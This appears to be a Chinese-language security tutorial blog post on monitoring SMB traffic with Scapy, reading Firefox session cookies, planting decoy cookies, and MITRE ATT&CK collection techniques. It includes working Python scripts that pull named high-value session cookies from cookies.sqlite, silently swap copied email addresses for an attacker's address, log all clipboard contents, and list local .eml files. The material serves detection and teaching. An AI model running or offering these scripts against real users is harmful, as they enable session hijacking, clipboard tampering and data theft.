返回文章列表

SMB流量監控與Cookie劫持技術分析

本文探討利用 Python 監控 SMB 流量並擷取 Web Session Cookies 的技術。首先,使用 Scapy 函式庫解析 SMB 流量,偵測檔案操作和認證嘗試。接著,示範如何從 Firefox 瀏覽器快取中擷取 Cookie,並分析 Cookie 資料函式庫結構。此外,文章也探討了建立誘騙

資安 Web 開發

SMB 協定常被用於網路攻擊的橫向移動,因此監控 SMB 流量對於及早發現潛在威脅至關重要。利用 Scapy,我們可以有效地解析 SMB 封包,識別其中的檔案操作和使用者認證行為。同時,從瀏覽器快取中擷取 Web Session Cookies 也是攻擊者常用的手段。瞭解如何存取和分析這些 Cookie 資料,有助於我們更好地防禦 Cookie 劫持攻擊。此外,透過建立誘騙 Cookie 並監測其使用情況,可以更主動地偵測潛在的攻擊行為,進而提升整體網路安全性。

偵測SMB流量與擷取Web Session Cookies的技術分析

本章節主要探討如何利用Python監控SMB(Server Message Block)流量以及擷取瀏覽器中的Web Session Cookies。首先,我們將介紹如何使用Scapy函式庫來解析SMB流量,以偵測檔案操作和認證嘗試。接著,我們將討論如何從瀏覽器的快取中擷取Web Session Cookies。

使用Scapy監控SMB流量

SMB是一種用於檔案和印表機分享的通訊協定。駭客經常利用SMB進行橫向移動,因此監控SMB流量對於檢測潛在的安全威脅至關重要。以下是一個使用Scapy監控SMB流量的範例程式碼:

from scapy.all import sniff, TCP, Raw, struct

def processPacket(p):
    if p.haslayer(TCP) and p.haslayer(Raw):
        load = p[Raw].load
        ind = load.find(b"NTLMSSP")
        if ind != -1:
            nameLen = struct.unpack("<h", load[ind+36:ind+38])[0]
            offset = ind + struct.unpack("<h", load[ind+40:ind+42])[0]
            username = load[offset:offset+nameLen].decode("utf-16")
            print("帳號存取嘗試:%s" % username)

sniff(offline="SMB.pcapng", prn=processPacket)

內容解密:

  1. sniff函式用於捕捉網路封包,offline引數指定了一個PCAP檔案。
  2. processPacket函式處理每個捕捉到的封包,檢查是否包含TCP和Raw層。
  3. 如果封包中包含NTLMSSP字串,表示這是一個SMB認證封包。
  4. 從封包中提取使用者名稱長度和偏移量,然後解碼出使用者名稱。

偵測檔案操作

在SMB流量中,我們可以偵測到檔案操作的相關資訊,例如檔案建立或修改。以下是一個使用Scapy解析SMB封包以偵測檔案操作的範例:

import re

def processPacket(p):
    if p.haslayer(Raw):
        load = p[Raw].load
        # 解碼UTF-16編碼的內容
        decoded_load = load.decode("utf-16")
        # 使用正規表示式搜尋檔名
        filename = re.search(r"[ -~]*[.][ -~]*", decoded_load)
        if filename:
            print("偵測到檔案操作:%s" % filename.group())

sniff(offline="SMB.pcapng", prn=processPacket)

內容解密:

  1. 使用re.search函式搜尋符合特定模式的字串(可能是檔名)。
  2. 如果找到匹配的結果,則列印出檔名。

擷取Web Session Cookies

Web Session Cookies用於儲存使用者的會話資訊,使網站能夠識別使用者。以下是一個從Firefox瀏覽器擷取Web Session Cookies的範例程式碼:

import sqlite3
import os

def get_firefox_cookies(username, profile):
    firefoxPath = os.path.join(
        "C:\\Users",
        username,
        "AppData\\Roaming\\Mozilla\\Firefox\\Profiles",
        profile,
        "cookies.sqlite")
    conn = sqlite3.connect(firefoxPath)
    c = conn.cursor()
    c.execute("SELECT * FROM moz_cookies")
    data = c.fetchall()
    cookies = {
        ".amazon.com": ["aws-userInfo", "aws-creds"],
        ".google.com": ["OSID", "HSID", "SID", "SSID", "APISID", "SAPISID", "LSID"],
        # 其他網域和Cookie名稱
    }
    for cookie in data:
        for domain in cookies:
            if cookie[4].endswith(domain) and cookie[2] in cookies[domain]:
                print("%s %s %s" % (cookie[4], cookie[2], cookie[3][:20]))

# 使用範例
get_firefox_cookies("使用者名稱", "設定檔名稱")

內容解密:

  1. 連線到Firefox的cookies.sqlite資料函式庫。
  2. 查詢moz_cookies表格以取得所有Cookie。
  3. 根據預定義的網域和Cookie名稱過濾出感興趣的Cookie。
  4. 列印出符合條件的Cookie。

本章節介紹瞭如何使用Python監控SMB流量和擷取Web Session Cookies。這些技術對於安全研究和威脅偵測具有重要意義。未來,我們可以進一步探索如何利用這些技術來加強安全防護措施。

在現代網路環境中,使用者身份驗證資訊的安全儲存至關重要。攻擊者可能利用存取瀏覽器快取中的會話 Cookie 來取得未經授權的帳戶存取許可權。本文將深入分析 Firefox 瀏覽器會話 Cookie 的存取機制,並探討如何建立誘騙 Cookie 以監測潛在的攻擊行為。

Firefox 瀏覽器將不同使用者的 Cookie 資料儲存在各自的 SQLite 資料函式庫中,路徑通常為 C:\Users\<Username>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\cookies.sqlite。與 Chrome 瀏覽器不同,Firefox 並未對 Cookie 資料進行加密處理,因此可直接使用 Python 的 sqlite3 函式庫進行資料提取。

moz_cookies 資料表包含多個欄位,其中最重要的包括:

  • name:Cookie 名稱(cookie[2]
  • value:Cookie 值(cookie[3]
  • host:Cookie 所屬的網域(cookie[4]

利用 SELECT * FROM moz_cookies 查詢陳述式,可提取所有 Cookie 資料。由於系統中可能儲存大量 Cookie,攻擊者通常關注與社群媒體和雲端服務相關的高價值 Cookie。

由於完全限制 Cookie 的使用並不可行,一種替代方案是建立誘騙 Cookie 並監測其使用情況,以偵測潛在的攻擊行為。

CreateFakeCookie.py 程式碼解析

import os, sqlite3, time
from datetime import datetime, timedelta

user = ""
profile = ""
firefoxPath = os.path.join(
    "C:\\Users",
    user,
    "AppData\\Roaming\\Mozilla\\Firefox\\Profiles",
    profile,
    "cookies.sqlite")

def createFakeCookie(name, value, host, path):
    exp = datetime.now() + timedelta(weeks=4)
    expiry = time.mktime(exp.timetuple())
    dt = datetime.now()
    lastAccessed = time.mktime(dt.timetuple()) * 1e6 + dt.microsecond
    creationTime = time.mktime(dt.timetuple()) * 1e6 + dt.microsecond
    
    query = "INSERT INTO moz_cookies ('name','value','host','path',\
    'expiry','lastAccessed','creationTime','isSecure','isHttpOnly',\
    'schemeMap') VALUES ('%s','%s','%s','%s','%d','%d','%d','%d',\
    '%d','%d');" % (name, value, host, path, expiry, lastAccessed,\
    creationTime, 0, 0, 2)
    
    conn = sqlite3.connect(firefoxPath)
    c = conn.cursor()
    c.execute(query)
    conn.commit()
    c.close()
    return

createFakeCookie("name", "ASDF", ".fake.com", "/")

程式碼功能說明

  1. 該程式碼透過 sqlite3 函式庫連線至 Firefox 的 Cookie 資料函式庫。
  2. createFakeCookie 函式用於建立並插入偽造的 Cookie 資料至 moz_cookies 資料表中。
  3. 函式接受 name、value、host 和 path 等引數,並計算所需的時間戳(expiry、lastAccessed 和 creationTime)。
  4. 其他欄位則設定為 moz_cookies 資料表中的常見預設值。

內容解密:

  • 程式碼首先定義了 createFakeCookie 函式,用於建立偽造的 Cookie。
  • 使用 datetimetime 模組計算 Cookie 的到期時間、最後存取時間和建立時間等時間戳。
  • 利用 sqlite3 函式庫執行 SQL 查詢,將偽造的 Cookie 資料插入至 moz_cookies 資料表中。
  • createFakeCookie 函式呼叫範例中,建立了一個名為 “name”、值為 “ASDF” 的偽造 Cookie,並將其關聯至 “.fake.com” 網域。

防禦措施與未來趨勢

  1. 監測 Cookie 使用情況:透過建立誘騙 Cookie,可有效監測攻擊者是否正在存取並濫用合法 Cookie。
  2. 強化瀏覽器安全機制:瀏覽器供應商應持續強化 Cookie 的加密儲存和存取控制機制。
  3. 使用者教育:提升使用者對於 Cookie 安全性的認識,並鼓勵採用最佳實踐來保護個人帳戶安全。

綜上所述,本文深入分析了 Firefox 瀏覽器會話 Cookie 的存取機制,並探討了建立誘騙 Cookie 以監測潛在攻擊行為的技術方案。隨著網路安全威脅的不斷演變,持續強化瀏覽器安全機制和提升使用者安全意識將成為未來的重要趨勢。

蒐集情資:剪貼簿資料與電子郵件收集

在許多型別的網路攻擊活動中,資料蒐集是至關重要的組成部分。它是資料外洩的主要目標,對於勒索軟體攻擊的目標定位至關重要,並且可以幫助啟用定向網路網路釣魚和帳戶接管攻擊。MITRE ATT&CK 框架在其「蒐集」策略中涵蓋了收集有用情資的各種方法。圖 10.1 顯示了該策略的 17 種技術。

蒐集技術

這些技術涵蓋了情資蒐集的兩個方面:收集資料的方法和自動化蒐集或準備資料外洩的流程。本章重點關注第一類別中的兩種技術:剪貼簿資料和電子郵件收集。

剪貼簿資料

對於許多人來說,系統剪貼簿對於使用電腦至關重要。從一個位置複製資料並將其貼上到另一個位置的能力提高了效率,並且可以幫助限制因打字錯誤而導致的錯誤。

從剪貼簿收集資料

存取系統剪貼簿可以從任何應用程式進行。它被設計為系統資源,這使得它既非常有用,又具有潛在危險性。

# ModifyClipboard.py
import win32clipboard, re
from time import sleep

# 攻擊者的電子郵件地址
attacker_email = "[email protected]"
# 電子郵件地址的正規表示式
emailregex = '^[a-z0-9]+[\._]?[a-z0-9]+[@]\w+[.]\w{2,3}$'

while True:
    # 開啟剪貼簿
    win32clipboard.OpenClipboard()
    # 取得剪貼簿資料並去除尾端空白
    data = win32clipboard.GetClipboardData().rstrip()
    # 檢查是否符合電子郵件地址格式
    if (re.search(emailregex, data)):
        # 清空剪貼簿
        win32clipboard.EmptyClipboard()
        # 將攻擊者的電子郵件地址寫入剪貼簿
        win32clipboard.SetClipboardText(attacker_email)
    # 關閉剪貼簿
    win32clipboard.CloseClipboard()
    # 等待1秒後再次檢查
    sleep(1)

內容解密:

  1. 匯入必要的模組:程式碼首先匯入了 win32clipboardre 模組,分別用於存取 Windows 剪貼簿和進行正規表示式匹配。同時,也匯入了 sleep 函式,用於使程式暫停執行。
  2. 定義攻擊者的電子郵件地址和正規表示式:設定了一個攻擊者的電子郵件地址和一個用於匹配電子郵件地址的正規表示式。
  3. 無限迴圈監控剪貼簿:程式進入一個無限迴圈,不斷檢查剪貼簿中的內容。
  4. 檢查剪貼簿內容是否為電子郵件地址:如果剪貼簿中的內容符合預先定義的電子郵件地址格式,則將剪貼簿內容替換為攻擊者的電子郵件地址。
  5. 暫停執行:每次檢查後,程式會暫停1秒,避免過度佔用系統資源。

監控剪貼簿

除了修改剪貼簿內容外,攻擊者還可以監控剪貼簿以收集敏感資訊。

# MonitorClipboard.py
import win32clipboard
from time import sleep

while True:
    win32clipboard.OpenClipboard()
    data = win32clipboard.GetClipboardData()
    print(data)
    win32clipboard.CloseClipboard()
    sleep(1)

內容解密:

  1. 匯入必要的模組:與前面的程式碼類別似,這裡匯入了 win32clipboardsleep
  2. 無限迴圈監控並列印剪貼簿內容:程式不斷開啟剪貼簿,讀取其內容,列印出來,然後關閉剪貼簿。每個迴圈間隔1秒。

電子郵件收集

除了剪貼簿資料外,攻擊者還可能對收集電子郵件資料感興趣。

# LocalEmailFiles.py
import os

# 定義搜尋的目錄
root_dir = "C:\\Users\\User\\Documents"

for root, dirs, files in os.walk(root_dir):
    for file in files:
        if file.endswith(".eml"):
            print(os.path.join(root, file))

內容解密:

  1. 匯入必要的模組:這裡匯入了 os 模組,用於進行檔案系統操作。
  2. 定義搜尋的起始目錄:指定了一個目錄作為搜尋的起始點。
  3. 遍歷目錄及其子目錄:使用 os.walk 方法遍歷指定的目錄及其所有子目錄。
  4. 尋找 .eml 檔案:對於每個遇到的檔案,檢查是否以 .eml 結尾,如果是,則列印出該檔案的完整路徑。